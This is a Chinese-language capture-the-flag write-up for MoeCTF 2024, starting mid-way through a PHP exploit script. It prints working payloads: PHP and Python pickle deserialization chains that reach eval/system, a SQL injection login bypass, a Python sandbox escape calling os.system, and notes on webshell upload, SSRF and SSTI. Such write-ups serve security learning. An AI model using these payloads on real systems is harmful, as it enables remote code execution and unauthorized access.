die('FAILED TO ATTACK');
}
$a = $this->what;
$a();
}
}

class class001 {
public $payl0ad;//dangerous
public $a;//class002
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}
}

class class002 {
private $sec;
public $sec1;
public function __construct()
{
$this->sec=new class003();
$this->sec->mystr="system('env');";
}
public function __set($a, $b)
{
$this->$b($this->sec);
}

public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}

}

class class003 {
public $mystr;
public function evvval($str)
{
eval($str);
}

public function __tostring()
{
return $this->mystr;
}
}
$class0=new class000();
echo urlencode(serialize($class0));


特别要注意的是

1
2
3
4
5
6
7
8
9
public function __set($a, $b)
{
$this->$b($this->sec);
}

public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);
}

$this->sec并不冲突,一开始我以为$this->sec既要是new class003又要是执行的shell命令,后来发现真正是shell命令是在class003中的mystr中的

image-20240811230717729

垫刀之路01: MoeCTF?启动!

image-20240819123544394

ImageCloud前置

经典ssrf

image-20240819123743942

image-20240819123752093

垫刀之路02: 普通的文件上传

直接上传php木马后利用(连后缀什么的都没检查,根本不用绕过)

image-20240819124449802

垫刀之路03: 这是一个图床

前端的后缀绕过

image-20240819125001015

直接去访问

image-20240819125039846

静态网页

点击换装抓包得到提示

image-20240819131141602

image-20240819201011488

电院_Backend

sql万能密码

1
123456@qq.com' || 1==1 --+

勇闯铜人阵

算一个简单的游戏题吧,不过要写自动化的脚本才行,除非你手速过快

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import re
direct={1:'北方',2:'东北方',3:'东方',4:'东南方',5:'南方',6:'西南方',7:'西方',8:'西北方'}
session=requests.session()
url="http://10.96.9.36:49274/"
payload={"player":"qetx","direct":"弟子明白"}
res=session.post(url,data=payload)
res=re.search(r"<h1 id=\"status\">\s*([\d,\s]+)\s*</h1>",str(res.text)).group(1)
if ',' in res:

res=res.replace(' ','').split(',')
print(res[0],res[1])
payload["direct"]=direct[int(res[0])]+'一个,'+direct[int(res[1])]+'一个'
else:
payload["direct"] = direct[int(res[0])]
for i in range(0,5):
res=session.post(url,data=payload)
try:
res = re.search(r"<h1 id=\"status\">\s*([\d,\s]+)\s*</h1>", str(res.text)).group(1)
if ',' in res:
res = res.replace(' ', '').split(',')
print(res[0], res[1])
payload["direct"] = direct[int(res[0])] + '一个,' + direct[int(res[1])] + '一个'
else:
payload["direct"] = direct[int(res[0])]
except:
print(res.text)

垫刀之路04: 一个文件浏览器

目录穿越秒了

image-20240820095449343

从零开始的 XDU 教书生活

代码审计(其实也不算

直接上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import json
url="http://127.0.0.1:53830/"
session=requests.session()
def login():
uname = 10000
password = 10000
payload={"uname":uname,"password":password}
session.post(url+'/fanyalogin',data=payload)
print("登录成功")
def get_name():
import re
res = requests.get(url+"widget/sign/pcTeaSignController/showSignInfo1")
re = re.findall(r'"name":"(\d*)"', str(res.text))
with open("name.txt", 'w') as f:
for name in re:
f.write(name + '\n')
print("获取用户名字典成功")
def get_flag():
with open("name.txt",'r') as f:
for i in range(0,1024):
print("第{0}用户已签到".format(i))
name=f.readline().replace('\n','')
# print(name)
payload={"uidAndAid":name+'_17',"status":1,"name":name,"activeId":4000000000000,"remark":None}
# print(payload)
session.post(url+"widget/sign/pcTeaSignController/updateSignStatus2",data=payload)
flag=session.get(url+"widget/active/endActive")
print(json.loads(flag.text)["errorMsg"])
login()
get_name()
get_flag()

思路大致就是先去登录,然后获取学生的用户名,然后帮学生签到,签到完成后结束签到就能获得flag(整个脚本可能要运行5分钟左右

ImageCloud

SSRF,用外网去访问内网的文件

image-20240820144339439

内网的端口需要自己5001-6000爆破一下

垫刀之路05: 登陆网站

万能密码直接登录

image-20240821112209805

垫刀之路06: pop base mini moe

存粹的反序列化考点,私有属性赋值只能在自己的类中进行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

class A {
// 注意 private 属性的序列化哦
private $evil;

// 如何赋值呢
private $a;
function __construct(){
$this->a = new B();
$this->evil="env";
}
function __destruct() {
$s = $this->a;
$s($this->evil);
}
}

class B {
private $b;
function __construct()
{
$this->b="system";
}
function __invoke($c) {
$s = $this->b;
$s($c);
}
}

$a=new A();
$a1=serialize($a);
echo urlencode($a1);

这边不能用eval,要用system,用eval会提示没有这个方法

image-20240822093721435

垫刀之路07: 泄漏的密码

直接访问/conole输入pin码

image-20240829105030988

who’s blog?

直接fengjin的ssti注入一把梭

image-20240824090240926

PetStore

代码审计,一般这种题建议先自己在本地搭docker慢慢打,然后打出来了直接去用exp

追踪import路由

image-20240824101602772

image-20240824101614617

发现存在pickel反序列化,要考虑能不能用反序列化的漏洞,看到反序列化过程中利用了try语句说明我们的报错回显是不可能了,那就是没有直接回显了,题目也不能出网,我们接着看下去发现一个路由

image-20240824101759760

这个路由仿佛提供了回显的点,我们只要想办法把我们的回显写入pet.name中就行,直接上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import pickle
import base64
import os

class B(object):
def __reduce__(self):
return (eval, ("__import__('os').popen('env').read()",))
class Pet:#class结构要与源码中的Pet结构一样,因为在反序列化之前有一个isinstance的检测
def __init__(self, name, species) -> None:
self.name = B()#回显写入pet.name中
self.species = pickle.loads(pickle.dumps(self.name))
self.uuid = "1"

def __repr__(self) -> str:
return f"Pet(name={self.name}, species={self.species}, uuid={self.uuid})"

pet=Pet(1,2)
a = pickle.dumps(pet)
print(base64.b64encode(a))
#gASVegAAAAAAAACMCF9fbWFpbl9flIwDUGV0lJOUKYGUfZQojARuYW1llIwIYnVpbHRpbnOUjARldmFslJOUjCRfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCdlbnYnKS5yZWFkKCmUhZRSlIwHc3BlY2llc5SMAJSMBHV1aWSUjAExlHViLg==

本地运行结果(远程忘记截完图了我太懒了hhhh

image-20240824102132442

PWN

NotEnoughTime

这一题我在新生赛上做过

直接上exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
p = remote("10.234.19.164",60629)
# print(p.recvuntil(b'='))
begin=p.recvuntil(b'=')
p.sendline(b'2')
for i in range(0,21):
ques=p.recvuntil(b'=')
print(bytes.decode(ques))
express=re.search(r'(\d.*?)=',bytes.decode(ques).replace(' ','').replace('\n','')).group(1)
print(type(express))
express = express.replace('\n', '') # 将 ÷ 替换为 /
print(express)
value=int(eval(express))
if value<0:
value=value-1
print(value)
p.sendline(str(value).encode())
print("第",i)
print(p.recvuntil(b'}'))

MISC

ez_F5

不用多说直接f5隐写,上工具

image-20240813181203510

得到output.txt里面就是flag,其中-p参数后面的密码隐藏在jpg文件的详细信息里,用base32加密了

readme

知识点就是proc虚拟目录读取加载进程序的文件即使程序被删除了

cf662f9bc3787adbf4324577358e8e2

moejail_lv4

1
[klass for klass in "".__class__.__base__.__subclasses__() if klass.__name__ == "BuiltinImporter"][0].load_module("builtins").__import__("os").system("ls")

具体可以参考https://stackoverflow.com/questions/28100471/how-eval-is-not-dangerous-in-this-example


2024-MOECTF
http://www.qetx.top/posts/14919/
作者
Qetx.Jul.27
发布于
2024年8月10日
许可协议